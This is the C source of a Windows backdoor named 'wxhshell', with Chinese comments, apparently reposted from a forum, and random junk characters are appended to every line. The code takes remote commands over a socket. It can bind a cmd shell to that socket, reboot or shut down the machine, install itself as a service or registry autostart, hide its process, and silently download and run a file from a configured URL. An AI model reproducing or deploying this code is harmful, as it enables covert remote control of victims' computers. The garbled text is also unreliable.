  else { 7dh--.i  
6 _n~E e  
    switch(cmd[0]) { IEj=pI   
  3:B4;  
  // 帮助 Cn"L*\o  
  case '?': { x6iT"\MO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R=m9[TgBm  
    break; d@QC[$qXj  
  } L=v"5)m2R  
  // 安装 @\)a&p]a  
  case 'i': { {0J (=\u  
    if(Install()) g@s'-8}X^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _[p@V_my  
    else  XKEbK\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~'u %66  
    break; Ks/Uyu. X  
    } Z.{r%W{2  
  // 卸载 UEh-k"  
  case 'r': { r4wnfy  
    if(Uninstall()) Y)KO*40c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (cpaMn@)g  
    else _ ATIV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bqI| wGCA"  
    break; >XomjU[srQ  
    } F qH@i Z  
  // 显示 wxhshell 所在路径 f<K7m  
  case 'p': { nv-_\M   
    char svExeFile[MAX_PATH]; M\w%c5  
    strcpy(svExeFile,"\n\r"); YA'_Ba(v)  
      strcat(svExeFile,ExeFile); Q!(qL[o  
        send(wsh,svExeFile,strlen(svExeFile),0); YThFskRoO  
    break; 6( ~DS9  
    } ?D]qw4J  
  // 重启 7nOn^f D  
  case 'b': { {S=gXIh(y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3!<} -sW4  
    if(Boot(REBOOT)) o ImW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U.0bbr  
    else { z;KUIWg  
    closesocket(wsh); >x 6$F*:W}  
    ExitThread(0); oEuo@\U05v  
    } g$eZT{{W  
    break; `<x|< ey  
    } S&w(H'4N  
  // 关机 BH$+{rZ8t  
  case 'd': { u, Rhm-`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3NA G}S  
    if(Boot(SHUTDOWN)) x|oa"l^JZ"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Je+y;P7  
    else { z,#3YC{'  
    closesocket(wsh);  cojbuo  
    ExitThread(0); xgQ]#{ tG  
    } 8G0DuMI5  
    break; TV&4m5  
    } `9yR,Xk=l  
  // 获取shell &ivPY  
  case 's': { H@R2mw  
    CmdShell(wsh); Q8sCI An{  
    closesocket(wsh); Z" !+p{u  
    ExitThread(0); av*M #  
    break; >|e>=  
  } iTq~ ^9G  
  // 退出 }:5>1FfX=  
  case 'x': { :/ yR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); : %hxg  
    CloseIt(wsh); 9+sOSz~ P  
    break; $CY B&|d  
    } $*u{i4b  
  // 离开 VN1a\  
  case 'q': { ?8LRd5LH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 43?J~}<Vs  
    closesocket(wsh); tt7l%olw  
    WSACleanup(); D(]])4  
    exit(1); +yYv"J  
    break; 7v~\c%1V  
        } ZoiCdXvTN  
  } %Jr6pmc  
  } |F'k5Lh  
[-bT_X  
  // 提示信息 q&-A}]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qs*6wF  
} U/JeEI%L  
  } Va1 eG]jQ  
M zLx2?  
  return; L|3wG Y9E  
} Q(}TN,N  
:K3nJ1G&  
// shell模块句柄 9%?'[jJ  
int CmdShell(SOCKET sock) Wh,{|R[  
{ FH'jP`  
STARTUPINFO si; j;O{Hvvz  
ZeroMemory(&si,sizeof(si)); kd9GHN;7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @ P=eu3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \kpk-[W*x{  
PROCESS_INFORMATION ProcessInfo; $rySz7NI  
char cmdline[]="cmd"; NAj1ORy4pX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I [J0r  
  return 0; S!GjCog^J  
} "Q~6cH[#  
27vLI~  
// 自身启动模式 N>OF tP  
int StartFromService(void) dm Lgt)-t  
{ -ANp88a  
typedef struct Qr;es,f  
{ }0#cdw#gH  
  DWORD ExitStatus; G6zFCgFJ^y  
  DWORD PebBaseAddress; lHpo/ R :  
  DWORD AffinityMask; E( M\U5o:  
  DWORD BasePriority; N1UE u,j  
  ULONG UniqueProcessId; 5hE8b  {V  
  ULONG InheritedFromUniqueProcessId; <G59>H5  
}   PROCESS_BASIC_INFORMATION; rbnu:+!  
oy'Q#!  
PROCNTQSIP NtQueryInformationProcess; xXK7i\ny  
kNW&rg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $2F*p#l(<Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,z)7rU`  
}[PbA4l.g  
  HANDLE             hProcess; twx8TQ9  
  PROCESS_BASIC_INFORMATION pbi; HLAYmXX"w  
(J): >\a]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @ -JD`2z  
  if(NULL == hInst ) return 0; Y}"|J ~  
?Z] }G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g~%=[1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  !+IxPn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  "t8mQ;n  
qkv.,z"  
  if (!NtQueryInformationProcess) return 0; C["^%0lj  
?M7nbfy[A@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d {moU\W  
  if(!hProcess) return 0; U;KHF{Vm  
C^r3r6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G`w,$:,  
*ZGQ`#1.X6  
  CloseHandle(hProcess); ?4q6>ipx  
ZzI^*Nyg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >}<:5gZtA  
if(hProcess==NULL) return 0; G4s!q1H  
[j}%&$  
HMODULE hMod; K;-:C9@  
char procName[255]; )TM![^d  
unsigned long cbNeeded; Z|d_G}  
2=!/)hw}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s Xl7  
K]@^8e$(  
  CloseHandle(hProcess); "S[VtuxPCU  
rN{&$+"2  
if(strstr(procName,"services")) return 1; // 以服务启动 y~1UU3k5  
_J   
  return 0; // 注册表启动 e7/J:n$  
} -.g5|B  
9A3Q&@,  
// 主模块 ET _}x7  
int StartWxhshell(LPSTR lpCmdLine) x`%;Q@G  
{ Aid{PGDk  
  SOCKET wsl; pq-zy6^  
BOOL val=TRUE; z]P|%  
  int port=0; G~4^`[elB  
  struct sockaddr_in door; % C6 H(  
j@kBCzX  
  if(wscfg.ws_autoins) Install(); w ^`n  
Fw"~f5O  
port=atoi(lpCmdLine); K~,,xsy,G&  
M?$-u  
if(port<=0) port=wscfg.ws_port; gMI%z2]'-  
PU?kQZU~)  
  WSADATA data; 9KXp0Q?-$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [(ty{  
,*S?L qv^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #wM0p:<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~Zaxn~u:  
  door.sin_family = AF_INET; "-<u.$fE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `2S{.s  
  door.sin_port = htons(port); *A,=Y/  
Cn28&$:J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G0]q(.sOy  
closesocket(wsl); /B1< N}  
return 1; 8%`Sx[  
} 4f"be  
&,$A7:  
  if(listen(wsl,2) == INVALID_SOCKET) { Xx?Jt  
closesocket(wsl); OIewG5O  
return 1; um3 M4>K  
} u%}vTCg*p  
  Wxhshell(wsl); _/E>38G]  
  WSACleanup(); IyP\7WZ  
3\D jV2t  
return 0; )2^OBfl7  
$(zJ  
} )-jvp8%BK  
4,<~t>M1  
// 以NT服务方式启动 &# @1n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^x/0*t5};z  
{ L</"m[  
DWORD   status = 0; Z6h.gaQ7 H  
  DWORD   specificError = 0xfffffff; / m?Z!  
(V=lK6WQm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *VRFs=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ojIh;e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q?1 KxD!  
  serviceStatus.dwWin32ExitCode     = 0; 5utj$ha2  
  serviceStatus.dwServiceSpecificExitCode = 0; ^?J:eB!  
  serviceStatus.dwCheckPoint       = 0; =e._b 7P  
  serviceStatus.dwWaitHint       = 0; -OkKLub  
xc*ys-Nv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WMUw5h  
  if (hServiceStatusHandle==0) return; 'Ob5l:  
9L&AbmIr  
status = GetLastError(); wk5a &  
  if (status!=NO_ERROR) #K)HuT  
{ }y[o[>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vNtbb]')m  
    serviceStatus.dwCheckPoint       = 0; 41C=O@9m  
    serviceStatus.dwWaitHint       = 0; 3G>E>yJ  
    serviceStatus.dwWin32ExitCode     = status; MPGQ4vi&  
    serviceStatus.dwServiceSpecificExitCode = specificError; u YH{4%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vF([mOZ  
    return; dG)A-qbV  
  } &=7ur  
F%Mlid;1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bpU^|r^W  
  serviceStatus.dwCheckPoint       = 0; hQet?*diU  
  serviceStatus.dwWaitHint       = 0; 94lmsE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &<>A  
} f9\7v_  
t(_XB|AKm  
// 处理NT服务事件,比如:启动、停止 5?I]\Tb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m[8#h(s*t  
{ d5],O48A  
switch(fdwControl) <]!IC]+  
{ hB^"GYZ  
case SERVICE_CONTROL_STOP: '$U"RP^(  
  serviceStatus.dwWin32ExitCode = 0; tx.YW9xD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RI%l& Hm  
  serviceStatus.dwCheckPoint   = 0; ?=T&|pp  
  serviceStatus.dwWaitHint     = 0; {Rz`)qqE  
  {  43VuH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /y-P) 3_  
  } '%~zu]f'  
  return; #IXQ;2%E  
case SERVICE_CONTROL_PAUSE: <T&$1m{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :c.i Z  
  break; cCj3,s/p  
case SERVICE_CONTROL_CONTINUE: NCsUC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lW2qVR  
  break; ![V<vIy  
case SERVICE_CONTROL_INTERROGATE: yqYX<<!V  
  break; +?L~fM69B  
}; Nyo6R9^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n/ 8fv~zU  
} [NFAdE  
/2U.,vw  
// 标准应用程序主函数 Fd 91Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }@#e D  
{ C1nQZtF R  
O4#zsr:"  
// 获取操作系统版本 2Hd6  
OsIsNt=GetOsVer(); k+i=0 P0mf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :,u+[0-S  
1|]-F;b  
  // 从命令行安装 un/R7 "  
  if(strpbrk(lpCmdLine,"iI")) Install(); Zsuh8t   
Q2 edS|  
  // 下载执行文件 IrVeP&KM+  
if(wscfg.ws_downexe) { @s[bRp`gd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H>D_0o<#y  
  WinExec(wscfg.ws_filenam,SW_HIDE); JxWHrsh[  
} uu/M XID  
HWd,1  
if(!OsIsNt) { OGVhb>LO1  
// 如果时win9x,隐藏进程并且设置为注册表启动 ox*Ka]  
HideProc(); %DN& K  
StartWxhshell(lpCmdLine); r*$"]{m}  
} Vz#cb5:g  
else Vz,WPm$I  
  if(StartFromService()) -cW5v  
  // 以服务方式启动 8e-{S~@W  
  StartServiceCtrlDispatcher(DispatchTable); x=Ru@nK;  
else QO,y/@Ph  
  // 普通方式启动 );6zV_^!  
  StartWxhshell(lpCmdLine); hb_Ia]b  
|#sP1w'l]  
return 0; vZKo&jU k  
}
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只看该作者 1 发表于: 2006-10-10
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